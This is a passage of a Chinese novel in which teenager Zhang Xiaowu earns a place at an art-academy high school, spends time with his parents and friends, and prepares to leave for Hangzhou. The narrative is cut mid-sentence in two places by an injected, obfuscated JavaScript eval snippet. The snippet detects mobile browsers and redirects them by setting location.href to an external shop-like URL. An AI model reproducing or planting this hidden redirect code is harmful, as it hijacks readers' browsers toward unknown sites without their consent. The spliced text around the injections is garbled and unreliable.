周扬接过手机,看了一眼,眼睛瞪得溜圆。“二百六?满分三百,你考了二百六?张小五,你是不是傻?这个分数很高啊!” “高吗?”张小五的声音有点虚。 “当然高!八十六点七的平均分!你知不知道去年美院附中的专业课线是多少?二百二!你超了四十分!” 张小五愣了一下。二百二,超了四十分。他算了一下,没错,二百六减去二百二等于四十。他超了四十分。他把这个算式在心里算了好几遍,每一遍都得出了同样的结果——四十。 他靠在墙上,慢慢地滑下去,坐在地上。 “张小五,你没事吧?”周扬蹲下来,看着他。 张小五摇了摇头,没有说话。他的眼眶红了,鼻子酸了,但他没有哭。他只是觉得累,一种从骨头缝里渗出来的、深入骨髓的累。这半年多来,他一直在跑,在拼,在挣扎,像一个溺水的人拼命往岸边游。他不敢停,不敢歇,不敢回头看,因为他怕一停下来就再也动不了了。现在,他终于可以歇一歇了。不是终点,但至少是一个驿站。 “我超了四十分。”他说,声音很轻,像是在确认一件不太真实的事情。 “对,你超了四十分。”周扬用力地拍了拍他的背,“张小五,你他妈太牛了!” 张小五笑了。他笑得眼睛弯弯的,像两个小月牙,露出一排不太整齐的牙齿。那是他这半年来,笑得最轻松、最真实、最没有负担的一次。 他给父亲发了条消息:“爸,专业课过了,超了分数线四十分。” 过了一会儿,父亲回了一条:“好。爸就知道你能行。” 他又给母亲发了条消息:“妈,专业课过了。” 母亲没有回文字,只回了一个表情——一个笑脸,后面跟着一串感叹号。张小五看着那个笑脸,觉得那是他见过最好看的表情,比达·芬奇的蒙娜丽莎还好看。 专业课成绩出来之后,张小五心里的那块石头总算落了地。但只落了一半,还有一半悬在那里——文化课。 五月份,中考进入了最后的冲刺阶段。 学校里弥漫着一种紧张的气氛,像暴风雨来临前的闷热。每个初三学生的脸上都写满了焦虑和疲惫,眼袋、黑眼圈、青春痘,成了这个年纪最流行的妆容。走廊里不再有人打闹了,操场上不再有人跑步了,连食堂里吃饭的速度都比以前快了一倍。 张小五比以前更忙了。他每天早上五点二十就起床,比之前又提前了二十分钟。他不再煮粥了,因为太浪费时间。父亲给他买了一大箱方便面,他每天早上一包,开水一泡,三分钟吃完,连汤都喝得干干净净。 中午他不回家,在学校食堂吃。食堂的饭菜便宜,两荤一素加米饭只要八块钱,他每次都吃得干干净净,一粒米都不剩。吃完饭他不回教室,而是去图书馆,那里安静,可以背书。他把语文的古诗词、英语的单词和语法、数学的公式和定理、物理和化学的知识点,一遍一遍地背,背到滚瓜烂熟,背到闭上眼都能在脑海里翻页。 晚上他学到十一点半,有时候十二点。张建国会在他桌上放一杯热牛奶,逼着他喝完再睡。他有时候喝着喝着就趴在桌上睡着了,牛奶凉了都不知道。张建国会把杯子拿走,把他抱到床上,盖好被子,然后在床边坐一会儿,看着儿子的脸,轻轻地叹一口气。 五月中旬,美院附中的文化课分数线公布了。语文、数学、英语三科,满分四百五十分,去年的分数线是二百八十分。张小五算了算自己的一模成绩——语文八十二,数学七十八,英语六十五,总分二百二十五。离去年的分数线还差五十五分。 五十五分。看起来不多,但每一分都要从牙缝里抠出来。语文还能提几分,数学还能提几分,英语是最难提的。他的英语像一堵墙,怎么都推不倒。他已经把初中三年的英语课本背了三遍,单词卡翻了无数遍,阅读理解做了几百篇,但成绩就是上不去,卡在六十五分左右,像一辆陷在泥坑里的车,轮子空转,就是出不来。 他开始去英语老师办公室问题。吴老师虽然上课爱讲闲话,但私下里人不错,每次都会耐心地给他讲解,有时候还会给他一些额外的练习题。张小五把那些题一道一道地做,做完了拿去给吴老师批改,批完了再订正,订正完了再做新的。 “张小五,你的英语基础确实弱,但你的态度是班里最好的。”吴老师有一次跟他说,“我相信你,你一定能考好。” 张小五不知道吴老师是真的相信他,还是在安慰他。但不管怎样,那句话给了他力量。他把它记在心里,像存钱一样存着,等考试的时候取出来用。 六月初,中考。 考场设在市一中,离家很远,坐公交车要一个小时。张小五前一天去看了考场,记下了从校门到考室的路线,记下了厕所在哪里,记下了食堂在哪里。他把所有能准备的都准备了,像一个即将上战场的士兵,检查了一遍又一遍的装备。 考试那天,张建国起得比他还早。他煮了一锅粥,蒸了一笼馒头,煎了两个鸡蛋。他把早饭摆在桌上,把张小五的准考证、身份证、文具袋一样一样地检查了一遍,然后用一个透明的文件袋装好,放在书包的最外层。 “爸,你不用这么紧张。”张小五坐在桌边,喝了一口粥。 “爸不紧张。”张建国说,但他的声音在发抖,手也在发抖,筷子夹了三次才夹起一块咸菜。 张小五没有再说什么。他低下头,把粥喝完,把馒头吃完,把鸡蛋吃完。然后他站起来,背上书包,走到门口。 “爸,我走了。” “爸送你去。” “不用,我自己坐公交。” “爸送你。”张建国的语气不容拒绝。 张小五没有再推辞。他知道,父亲不是不放心他,是不放心自己。把他送到考场,看着他走进去,是父亲唯一能做的事。如果连这个都不让做,父亲会觉得自己是一个废人。 他们坐了一个小时的公交车,到了市一中。校门口已经有很多人了,考生、家长、老师,黑压压的一片。有的考生在看书,有的在聊天,有的在发呆。有的家长在叮嘱,有的家长在安慰,有的家长在拍照。 张建国把张小五送到校门口,停下来。 “小五,爸就在外面等你。”他说。 “爸,你去阴凉的地方待着,别晒着。” “爸知道。你好好考,别紧张。” 张小五点了点头,转过身,走进了校门。走了几步,他回过头,看见父亲还站在校门口,手里提着那个旧帆布包,背微微弯着,像一棵被风吹弯的树。他朝父亲挥了挥手,父亲也朝他挥了挥手。 他转过身,走进了考场。 第一场,语文。他做得还算顺利,作文题目是“我的路”,他写了自己学画画的经历,写了父亲生病的那段日子,写了去杭州集训的七天。他写得很快,几乎没有停顿,因为那些事太熟悉了,熟悉到不用想就能写出来。 第二场,数学。这是他最擅长的科目,他做得很快,做完之后检查了两遍,确认没有粗心大意的错误。 第三场,英语。这是他最紧张的科目。他拿到试卷的时候,手心全是汗,笔都握不住。他深吸一口气,闭上眼睛,在心里默念了三遍“我能行”,然后开始答题。 听力、单项选择、完形填空、阅读理解、书面表达。他一题一题地做,做得比平时慢很多,每一题都要读两三遍才下笔。他不敢快,因为他知道,英语是他最弱的科目,一个不小心就会丢分。 考试结束的铃声响了,他放下笔,长长地呼出一口气。他不知道自己考得怎么样,但他知道,他已经尽了全力。每一道题都做了,每一个空都填了,每一个单词都写上了。能做的都做了,剩下的,交给阅卷老师。 他走出考场,看见父亲还站在校门口,手里举着一瓶水,脸上的表情比他还紧张。 “爸,考完了。”张小五走过去,接过那瓶水,拧开盖子,喝了一大口。 “考得怎么样?”张建国的声音有点紧。 “还行。”张小五说,“英语有点难,但我都做了。” 张建国没有再问。他接过张小五的书包,背在自己肩上,父子俩一起走向公交站。 六月底,中考成绩出来了。 张小五是在学校的电脑上查到的。他输入考号,点击查询,屏幕上跳出了一个表格。语文:八十七。数学:八十九。英语:七十一。总分:二百四十七。 二百四十七。比去年的分数线高了三十七分。加上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444020|201069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 专业课的二百六十分,总分五百零七。 他看着那个数字,手在发抖。不是害怕,是激动。五百零七,这个数字意味着什么?意味着他很有可能被美院附中录取。意味着他这半年多的努力没有白费。意味着他可以离开这个四十平米的老房子,去杭州,去那个有画室、有老师、有同学、有未来的地方。 “张小五,你查到了吗?”周扬跑过来,趴在电脑前,看了一眼屏幕,“我靠,二百四十七!你英语考了七十一!你不是说你英语最差吗?七十一还差?” 张小五没有说话。他看着那个“七十一”,想起了那些背单词的清晨,那些做阅读理解的深夜,那些去办公室问题的课间,那些被吴老师批评后又鼓励的日子。所有的这些,都变成了这七十一分。不高,但够了。刚好够了。 他拿出手机,先给父亲发了条消息:“爸,文化课二百四十七,总分五百零七。” 这一次,父亲没有回文字。他直接打了电话过来。张小五接起来,听见父亲的声音在发抖,像是在哭,又像是在笑。 “小五,你考上啦?” “还不知道,要等录取分数线出来。” “一定能考上!爸知道,一定能考上!” 张小五握着手机,听着父亲的声音,眼泪无声地滑了下来。他没有擦,就那样让眼泪流着,流到下巴,滴在校服的领口上。 他又给母亲发了条消息:“妈,文化课二百四十七,总分五百零七。” 母亲秒回了一条语音。他点开,听见母亲的声音,又哭又笑,像疯了似的:“小五!小五!妈就知道你能行!妈就知道!妈太高兴了!妈……” 语音到这里断了。张小五又点开听了一遍,再听了一遍,一遍又一遍,听了十几遍。每听一遍,他的眼泪就多流一些。他最后把手机贴在胸口,闭上眼睛,深深地吸了一口气。 七月初,录取分数线公布了。 美院附中今年的文化课分数线是二百四十分,专业课分数线是二百二十分。张小五的文化课二百四十七,专业课二百六十,双双过线。总分五百零七,在所有考生中排名前三十。 他被录取了。 消息是李老师告诉他的。那天他在家里画画,手机响了,是李老师打来的。 “张小五!你考上了!美院附中!录取名单出来了,我在网上看到了,你的名字在上面!” 张小五握着手机,大脑一片空白。他张了张嘴,想说什么,但一个字都说不出来。他的喉咙像是被什么东西堵住了,只能发出一些含混的、无意义的声音。 “张小五?张小五!你在听吗?”李老师的声音很急切。 “在。”他终于挤出了一个字。 “你考上啦!你听到没有?你考上美院附中啦!” 张小五把手机从耳边拿开,放在桌上。他站起来,走到客厅,看见父亲正坐在沙发上,手里拿着遥控器,电视开着,但他的眼睛没有看屏幕,而是看着张小五。 “爸。”张小五说。 “嗯。” “我考上了。” 张建国手里的遥控器掉在了地上。他没有去捡,就那么看着张小五,看着儿子那张瘦削的、苍白的、但此刻笑得像一朵花的脸。他的嘴唇在颤抖,眼眶红了,泪水涌上来,在眼眶里打转,但他使劲憋着,没有让它们掉下来。 “爸就知道。”他说,声音沙哑得几乎听不清,“爸就知道你能行。” 张小五走过去,蹲在父亲面前,把脸埋在父亲的膝盖上。他哭了,哭得很大声,像一个受了委屈的孩子终于找到了可以哭的地方。他把这半年多来的所有情绪都哭了出来——恐惧、焦虑、疲惫、委屈、不甘、喜悦、释然。所有的这些,像决堤的洪水一样,从他的身体里奔涌而出,浸湿了父亲的裤子。 张建国没有劝他别哭,也没有拍他的背安慰他。他只是坐在那里,让儿子靠着,让儿子哭着,像一个沉默的、坚实的、永远不会倒塌的依靠。 窗外,阳光很好。那棵老槐树长出了新叶子,嫩绿的,柔软的,在风里轻轻摇摆。那盆快死了的绿萝,不知什么时候又活了过来,长出了新的藤蔓,绿得发亮。 张小五哭了很久,哭到最后没有眼泪了,只剩下干涩的、沙哑的抽泣。他从父亲膝盖上抬起头,用袖子擦了擦脸,看着父亲。父亲的眼睛也是红的,但他没有哭,他在笑。他笑得眼角的皱纹像干裂的土地,但那个笑容很真,很亮,像是有一盏灯在那些沟壑深处亮了起来。 “爸,我考上了。”张小五又说了一遍,像是在确认一件不太真实的事情。 “嗯,考上了。”张建国说,“你考上美院附中了。” 张小五站起来,走到窗前,推开窗户。风吹进来,带着夏天特有的、热烘烘的、夹杂着青草和泥土味道的气息。他深深地吸了一口,觉得这空气是甜的。 他转过身,看着这个四十平米的老房子——掉了墙皮的墙,有裂纹的茶几,弹簧坏掉的沙发,快死了但没死的绿萝,还有那扇用绳子系着的窗户。这个破旧的、逼仄的、到处是毛病的房子,是他住了十五年的家。他恨过它,嫌过它,想过离开它。但此刻,他忽然觉得,它是全世界最好的房子。因为它装着他的父亲,装着他的记忆,装着他所有的眼泪和欢笑,装着他从一个小孩子长成一个少年的全部时光。 他拿起画本,翻到新的一页,开始画。他画的是这个客厅——墙、茶几、沙发、绿萝、窗户,还有父亲。父亲坐在沙发上,手里拿着遥控器,脸上带着笑,眼睛里带着泪。他画得很慢,一笔一笔地,像是在和这个房子告别,又像是在把它永远地留在心里。 画完之后,他在纸的右下角写了一行字。 “我考上了。美院附中。杭州。九月开学。爸,谢谢你。妈,谢谢你。所有人,谢谢。” 他把画本合上,抱在怀里,看着窗外。 远处,天很蓝,云很白。 九月,他要去杭州了。去那个有画室、有老师、有同学、有未来的地方。去那个他梦了无数次的地方。 他笑了。笑得眼睛弯弯的,像两个小月牙。 窗外,那只橘色的胖猫又来了,蹲在花坛边上,晒着太阳,眯着眼睛,“喵呜”了一声。 张小五朝它挥了挥手。 “我要去杭州了。”他说,“你在家好好的,别到处乱跑。” 橘猫当然听不懂。它舔了舔爪子,洗了洗脸,然后翻了个身,露出毛茸茸的肚皮,继续晒太阳。 张小五看着它,忽然想起一句话——生活就像画画,有时候歪的才是活的。 25. 启程 录取通知书是七月中旬寄到的。 那天张小五正在家里收拾旧书,准备把初三的课本和练习册整理出来,能卖的卖掉,能送的送人。他把那些书一本一本地从书架上拿下来,掸掉灰尘,分类码好。数学一摞,语文一摞,英语一摞,物理化学一摞。每一本都翻得起了毛边,每一本都写满了密密麻麻的笔记。他看着那些字迹,想起了那些深夜里趴在桌上奋笔疾书的日子,想起那些做不出来题急得抓头发、做出来高兴得想喊的日子。 楼下传来邮递员的声音:“张小五!挂号信!” 张小五的心猛地跳了一下。他扔下手里的书,连拖鞋都来不及穿,光着脚跑下楼。楼梯的水泥地冰凉冰凉的,硌得脚底板生疼,但他顾不上这些。他冲到楼下,看见邮递员站在单元门口,手里拿着一个牛皮纸信封。 “张小五?”邮递员确认了一下。 “是我。”张小五伸出手,发现自己的手在抖。 邮递员把信封递给他,让他签了字,然后骑着电动车走了。张小五站在楼下,看着手里的信封。信封上印着“中国美术学院附属中等美术学校”的字样,红色的,烫金的,在阳光下闪闪发光。他把信封翻过来,封口处盖着学校的公章,红色的印泥,压得很实。 他没有立刻拆开。他拿着信封,慢慢地走上楼,走进家门,坐在沙发上。张建国从厨房里走出来,手里拿着锅铲,围裙上沾着油渍,看到那个信封,眼睛一下子就亮了。 “来了?”他问。 “来了。”张小五说。 他用指甲轻轻地挑开封口,小心翼翼地抽出里面的东西。是一张纸,很厚的那种铜版纸,印着红色的边框和黑色的字体。最上面是“录取通知书”四个大字,下面是他的名字——“张小五同学”。再往下是一段话,大意是“经审核,你已被我校录取为2024级新生,请于9月1日持此通知书到校报到”。 张小五把那几行字读了一遍,又读了一遍,再读了一遍。每一个字都认识,每一句话都明白,但合在一起,就是觉得不真实。他掐了一下自己的大腿,疼的。不是梦。他又掐了一下,还是疼的。 张建国走过来,从他手里拿过录取通知书,看了很久。他的眼神不好,要把纸拿得很远才能看清上面的字。他一个字一个字地念,念得很慢,像一个小学生在读课文。念完之后,他把通知书放在茶几上,用袖子擦了擦眼睛。 “小五,你给你妈打个电话。”他的声音有点哑。 张小五拿起手机,拨了母亲的号码。电话响了一声就接了,好像王秀兰一直守在手机旁边。 “妈,录取通知书到了。” 电话那头传来一声尖叫,尖得张小五不得不把手机拿远一点。然后是一阵乱七八糟的声音——有笑声,有哭声,有说话声,有东西掉在地上的声音。他听见母亲在喊:“小五考上了!我儿子考上了美院附中!”旁边有人在说恭喜,有人在鼓掌,有人在大声地问“真的假的”。 张小五握着手机,听着那些嘈杂的声音,嘴角慢慢弯了起来。 “妈,你什么时候放假?我去看你。”他说。 “妈月底放假,你别来,路费太贵了。妈回去看你,妈请两天假。”王秀兰的声音又哭又笑,像一只快乐的小鸟在唱歌。 挂了电话,张小五坐在沙发上,看着茶几上的录取通知书。阳光从窗户照进来,照在那张纸上,那些红色的字和黑色的字都在发光。他伸出手,用手指轻轻地摸了摸那些字,凸起来的,有质感,像浮雕一样。 他把通知书举起来,对着光看。纸的背面有水印,是美院附中的校徽,一个抽象的图形,像一座山,又像一本书,又像一支画笔。他把这个画面记在心里,准备以后画下来。 张建国站在厨房门口,看着儿子举着录取通知书对着光看的样子,忽然想起很多年前,张小五还很小的时候,也是这么举着画纸对着光看,看自己画的金鱼有没有画对。那时候的张小五,还是一个什么都不懂的小孩子,只会用歪歪扭扭的线条画一些谁都看不懂的东西。现在的张小五,已经是一个十五岁的少年了,他的手能画出让人惊叹的作品,他的眼睛能看见别人看不见的美,他的心能承受别人承受不了的重量。 “小五。”张建国说。 “嗯。” “你长大了。” 张小五放下录取通知书,看着父亲。父亲站在厨房门口,手里还拿着锅铲,围裙上沾着油渍,头发乱糟糟的,脸上有汗水。他看着父亲,忽然发现父亲的头发白了很多,两鬓几乎全白了,像落了一层霜。他的脸上多了很多皱纹,额头上、眼角边、嘴角旁,一道道深深浅浅的沟壑,像干裂的土地。他的背更弯了,肩膀更塌了,整个人看起来比以前小了一圈。 “爸,你辛苦了。”张小五说。 张建国愣了一下,然后笑了。他笑起来的时候眼角的皱纹更深了,但那个笑容很真,很亮,像是有一盏灯在那些沟壑深处亮了起来。 “爸不辛苦。爸高兴。” 那天晚上,张小五把那封录取通知书看了一遍又一遍,看到最后上面的字都能背下来了。他把通知书放在枕头底下,和那些画本放在一起,然后躺在床上,翻来覆去地睡不着。 他在想,九月一号,他就要去杭州了。去一个陌生的城市,住一个陌生的宿舍,面对一群陌生的老师和同学。他不知道那里是什么样的,不知道宿舍有没有空调,不知道食堂的饭菜好不好吃,不知道老师严不严,不知道同学好不好相处。他什么都不知道,但他不害怕。因为他知道,那里有画室,有颜料,有画架,有画布。那里有他想要的一切。 他翻了个身,把脸埋进枕头里。枕头上有一股淡淡的洗衣粉的味道,是父亲洗的。父亲每个周末都会把他的床单被套枕巾洗一遍,洗得干干净净的,晒得蓬蓬松松的,有一股太阳的味道。 他深吸一口气,把那口太阳的味道吸进肺里,然后慢慢地呼出来。 “杭州,我来了。”他在心里说。 接下来的一个多月,张小五过得前所未有的轻松。 没有考试的压力,没有升学的焦虑,没有做不完的作业和背不完的单词。他终于可以想画什么就画什么了,不用为了考试而画,不用为了比赛而画,不用为了任何人而画,只为了自己而画。 他画了很多画。画窗外的树,画楼下的猫,画巷口卖西瓜的大爷,画公交车上打瞌睡的女孩。他画得很随意,想画就画,不想画就不画,不像以前那样逼着自己每天必须画多少张。他发现,当画画不再是一件任务的时候,它变得更有趣了。他的线条更放松了,颜色更大胆了,构图更自由了。他不再担心画得不好,因为他知道,即使画得不好,也没关系。没有人会批评他,没有人会给他打分,没有人会用那些该死的标准去衡量他的作品。 周扬和陈雨桐经常来找他玩。他们骑着自行车,去河边钓鱼,去山上摘野果,去郊外的水库游泳。张小五以前很少出去玩,他的时间都被学习和画画占满了。现在他终于有时间了,他要补上这些年错过的快乐。 有一次,他们三个人去河边钓鱼。周扬带了三根鱼竿、一盒蚯蚓、一大袋零食。陈雨桐带了一本书、一顶遮阳帽、一瓶防晒霜。张小五带了他的画本和铅笔。他们在河边坐了一个下午,周扬钓上来三条小鱼,陈雨桐看了半本书,张小五画了十几幅速写——河边的芦苇,水面上飞过的白鹭,远处村庄的炊烟。 太阳快落山的时候,他们收好鱼竿,把小鱼放了生,把零食袋子收拾干净,然后坐在河堤上,看着夕阳把整条河染成了金红色。 “张小五,你去了杭州,还会回来吗?”周扬忽然问。 “当然会回来。”张小五说,“我爸还在这儿呢。” “那你会想我们吗?” “会。” 周扬沉默了一会儿,从口袋里掏出一个小盒子,递给张小五。“送你的,离别礼物。” 张小五打开盒子,里面是一块手表。不是那种很贵的名牌表,是一块普通的电子表,黑色的表带,白色的表盘,数字很大,清晰易读。 “这是我自己攒钱买的,不贵,你别嫌弃。”周扬说,“你去了杭州,要看时间,不能迟到。画画的人,时间观念很重要。” 张小五把手表戴在手腕上,大小刚好。他看着表盘上跳动的数字,心里暖暖的。 “谢谢。”他说。 “谢什么谢。”周扬站起来,拍了拍屁股上的土,“走,回家吃饭,我妈做了红烧肉。” 陈雨桐也站起来,从书包里拿出一个信封,递给张小五。“这是我送你的,你到杭州再看。” 张小五接过信封,摸了摸,里面像是几张纸,不厚,但很有质感。他把它夹在画本里,收进书包。 “好,我到杭州再看。” 三个人骑着自行车,沿着河堤往回走。夕阳在他们身后慢慢沉下去,天边的云被染成了橘红色、紫色、粉色,像一幅巨大的油画。风吹过来,带着河水的清凉和稻田的清香。张小五骑着车,风吹起他的头发,他觉得整个人都是轻的,轻得像要飞起来。 八月中旬,王秀兰回来了。 她请了三天假,坐了十几个小时的火车,从南方的那座城市赶回来。她到的时候是凌晨四点,天还没亮。张小五去火车站接她,在出站口等了好久,看着一拨一拨的人流从里面涌出来,有的拖着行李箱,有的背着大包小包,有的抱着孩子,有的搀着老人。 他看见母亲了。她穿着一件碎花裙子,头发扎了起来,脸上化了淡妆,看起来比上次年轻了一些。她手里拉着一个行李箱,肩上背着一个包,走得很快,眼睛一直在人群中搜索。 “妈!”张小五喊了一声,跑过去。 王秀兰看见他,脸上立刻绽开了笑容,笑得眼睛眯成了一条缝。她扔下行李箱,张开双臂,把张小五紧紧地抱在怀里。 “小五,小五,小五……”她一遍一遍地叫着他的名字,声音又哭又笑,像一个失而复得的宝贝。 张小五被抱得喘不过气来,但他没有挣扎。他把脸埋在母亲的肩窝里,闻到了她身上的味道——洗衣粉、汗水、火车上的烟味,还有一点点香水的味道。这个味道让他觉得安心,觉得温暖,觉得这个世界上没有什么好怕的。 “妈,你瘦了。”他说。 “妈减肥呢。”王秀兰松开他,双手捧着他的脸,左看右看,“你倒是胖了一点,脸上有点肉了。是不是你爸给你做好吃的了?” “嗯,我爸天天给我做红烧肉。” “你爸会做红烧肉?他以前连鸡蛋都不会煎。” “他学的。我教他的。” 王秀兰笑了,笑得眼泪都出来了。她擦了擦眼角,拉起行李箱,牵着张小五的手,走出火车站。 出租车在清晨的街道上行驶,天边已经泛起了鱼肚白,路灯还亮着,橘黄色的光照在湿漉漉的路面上,反射出一片迷离的光。王秀兰靠着车窗,看着窗外那些熟悉又陌生的街景,沉默了很久。 “北城变了。”她说。 “没变,还是老样子。”张小五说,“你太久没回来了。” 王秀兰没有再说话。她看着窗外,眼睛里有泪光,但嘴角是弯着的。 到家的时候,张建国已经做好了早饭。粥、馒头、煮鸡蛋、咸菜、还有一盘切好的西瓜。他站在门口,看着王秀兰从楼梯口走上来,脸上的表情很复杂——有高兴,有紧张,有不好意思,有一种说不清道不明的东西。 “回来了?”他说。 “回来了。”王秀兰说。 两个人对视了一眼,然后同时移开了目光。张小五看着他们,觉得好笑,又觉得心酸。这两个人,曾经是夫妻,一起生活了好几年,有了他,然后分开了八年。八年的时间,足够让最熟悉的人变得陌生。但那种陌生只是表面的,在内心深处,有些东西从来没有变过。 “进屋吧,饭好了。”张建国侧过身,让王秀兰进去。 王秀兰拉着行李箱走进屋,环顾了一下四周。房子还是那个样子,掉了墙皮的墙,有裂纹的茶几,弹簧坏掉的沙发,快死了但没死的绿萝,还有那扇用绳子系着的窗户。她看着这些,眼泪终于忍不住了,掉了下来。 “你也不收拾收拾。”她用手背擦了擦眼泪,声音有点哽咽。 “收拾了。”张建国说,“昨天刚收拾的。” 王秀兰没再说什么,放下行李箱,去卫生间洗了手,然后坐到桌边,端起粥碗。粥是小米粥,熬得很稠,上面飘着一层米油。她喝了一口,觉得这粥里有家的味道,有她缺失了八年的、怎么也找不回来的东西。 那三天,是张小五记忆里最幸福的时光。 母亲住在他房间,他睡客厅的沙发。白天,母亲和父亲一起做饭,一起收拾屋子,一起看电视。他们说话不多,但每一句都很自然,像从来没有分开过。有时候他们会为了一件小事拌嘴——比如盐放多了还是少了,比如西瓜应该切成片还是切成块——但拌完之后,又会不约而同地笑出来。 张小五看着他们,心里有一种奇怪的感觉。他不奢望他们复婚,也不奢望母亲留下来。他知道,母亲在南方有工作,有她自己的生活。他能做的,只是珍惜这三天,把每一分每一秒都刻在心里。 第二天下午,他们一家三口去了照相馆,拍了一张全家福。 这是他们家的第一张全家福。以前也拍过,但那是张小五很小的时候,拍完没多久父母就离婚了。那张照片不知道丢到哪里去了,再也找不到了。这一次,他们特意穿上了最好的衣服。张建国穿的是王秀兰织的那件深蓝色毛衣,虽然是大夏天,但他坚持要穿,说不穿浪费了。王秀兰穿的是那条碎花裙子,头发披着,化了淡妆。张小五穿的是校服,白衬衫,蓝裤子,戴着红领巾——虽然他已经上高中了,但他说这是他的战袍,穿着它拍照最有意义。 摄影师是一个年轻人,戴着眼镜,说话很温柔。他让他们坐在一个布景前,布景是一片假的花园,有假的花、假的树、假的天空。他调整了一下灯光,举起相机,说:“来,看这里,笑一笑。” 张小五笑了。王秀兰笑了。张建国也笑了,虽然笑得有点僵硬,但他的眼睛是亮的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444021|201069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咔嚓。快门的声音很轻,像一片叶子落在地上。 “好了。”摄影师说,“三天后来取照片。” 他们交了钱,走出了照相馆。外面阳光很好,照得整条街都是亮的。张小五走在中间,左边是父亲,右边是母亲。他们的影子投在地上,三个人连在一起,像一座小小的山。 第三天下午,王秀兰要走了。 张小五送她去火车站。这一次,张建国没有来,他说他有点不舒服,但张小五知道他不是不舒服,是不敢来。他怕自己来了会忍不住,会说出一些不该说的话,会做出一些不该做的事。 候车室里,王秀兰拉着张小五的手,说了很多话。说到了杭州要好好照顾自己,天冷要多穿衣服,别熬夜,别省钱,该吃吃该喝喝。说要听老师的话,跟同学好好相处,别跟人吵架。说每个月的钱会按时打过来,不够了就打电话,别不好意思说。说放假了就回来,妈也回来,咱们一家三口还在一起吃饭。 张小五一一应了,点头点得像小鸡啄米。 “妈,你也要照顾好自己。”他说,“别太累了,别老加班,别老吃泡面。” “妈知道。”王秀兰摸了摸他的头,眼眶红了,但没有哭,“小五,妈这辈子最对不起的人就是你。但你是妈最大的骄傲。比什么都大。” 张小五的鼻子一酸,眼泪差点掉下来。他使劲憋着,憋得眼睛都红了,但没有让它们流出来。 广播响了。王秀兰站起来,拿起行李,抱了抱张小五,然后转身走向检票口。走了几步,她停下来,回过头,朝张小五挥了挥手。 “好好学习!”她喊。 “好!”张小五喊。 王秀兰转过身,走进了检票口。她的背影在人流中越来越小,越来越模糊,最后消失在了拐角处。张小五站在原地,看着那个空荡荡的拐角,站了很久。 然后他转过身,走出了候车室。 外面的阳光很刺眼,他眯着眼睛,深吸了一口气。空气中有一种说不清的味道,也许是离别,也许是希望,也许两者都有。 八月三十一日,出发前夜。 张小五把所有的东西都收拾好了。一个行李箱,一个书包,一个画筒。行李箱里装着衣服、鞋子、洗漱用品,还有母亲织的那件深蓝色毛衣。书包里装着课本、笔记本、文具,还有周扬送的手表和陈雨桐送的信。画筒里装着画本、铅笔、颜料,还有那些他舍不得留下的画。 他把录取通知书放在书包的最里层,和身份证、户口本放在一起。他又检查了一遍,确认没有落下任何东西,然后拉好拉链,把书包放在门口。 张建国坐在沙发上,手里拿着遥控器,电视开着,但他的眼睛没有看屏幕。他看着张小五忙来忙去,看着他把这个装进去把那个拿出来,看着他一遍又一遍地检查行李,看着他像一只即将离巢的小鸟,在巢穴里做最后的准备。 “小五,你来。”他说。 张小五走过去,在父亲旁边坐下。 张建国从口袋里掏出一个东西,是一个红色的布包,很小,比麻将牌大不了多少。他把布包放在张小五手心里。 “这是什么?” “平安符。你妈上次来的时候给我的,说她求了两个,一个给你,一个给我。”张建国的声音很轻,“我的这个,我戴了这么久,灵了。你的那个,你带去杭州,戴在身上,别摘。” 张小五看着手心里的红色布包,上面绣着一个“福”字,针脚不太整齐,但每一针都很用力,像是怕它散开。他把布包贴在胸口,感觉到里面有硬硬的东西,也许是符,也许是别的什么。 “爸,你留着吧。我那个已经有了。”张小五想把布包还回去。 “你那个是你妈给你的,这个是我给你的。”张建国按住他的手,“两个都戴上,双倍的保佑。” 张小五没有再推辞。他把那个红色的布包戴在脖子上,和母亲给的那个并排贴着胸口。两个小小的布包,一颗是母亲的温度,一颗是父亲的心意,它们贴着他的皮肤,随着他的心跳一起一伏。 “爸,我走了以后,你一个人在家,要好好吃饭,好好吃药,按时去医院复查。”张小五说,声音有点哑,“别舍不得花钱,没钱了给我说,我想办法。” “爸知道。”张建国说,“你别操心爸,好好读书。画画这条路不好走,但你走了,就要走到底。别回头。” 张小五用力地点了点头。 那天晚上,父子俩坐在沙发上,聊了很久。聊张小五小时候的事,聊他第一次画画的事,聊他得奖的事,聊他考上美院附中的事。他们聊着聊着就笑了,笑着笑着就沉默了,沉默着沉默着就红了眼眶。 最后,张建国说了一句让张小五记一辈子的话。 “小五,爸这辈子没什么本事,但爸有你这个儿子,是爸最大的福气。” 张小五没有说话。他靠在父亲的肩膀上,闭上眼睛。 窗外的月亮很圆,很亮,挂在那棵老槐树的树梢上,像一个巨大的银盘子。月光从窗户的缝隙里挤进来,在地上画了一条银白色的线,从门口一直延伸到沙发脚下,像一条通往远方的路。 九月一日,杭州。 张小五起了个大早。他穿上了那件白衬衫和蓝裤子——校服,他的战袍。他把两个平安符都戴在脖子上,塞进衬衫里面,贴着胸口。他戴上手表,黑色的表带,白色的表盘,数字很大。他把画筒背在肩上,一手拉着行李箱,一手背着书包,走到门口。 张建国站在门口,帮他理了理衣领,把围巾围好。虽然是九月,但北方的早晨已经有了一丝凉意。 “爸,我走了。”张小五说。 “走吧。”张建国说,声音很稳,稳得不像一个即将送别儿子的父亲。 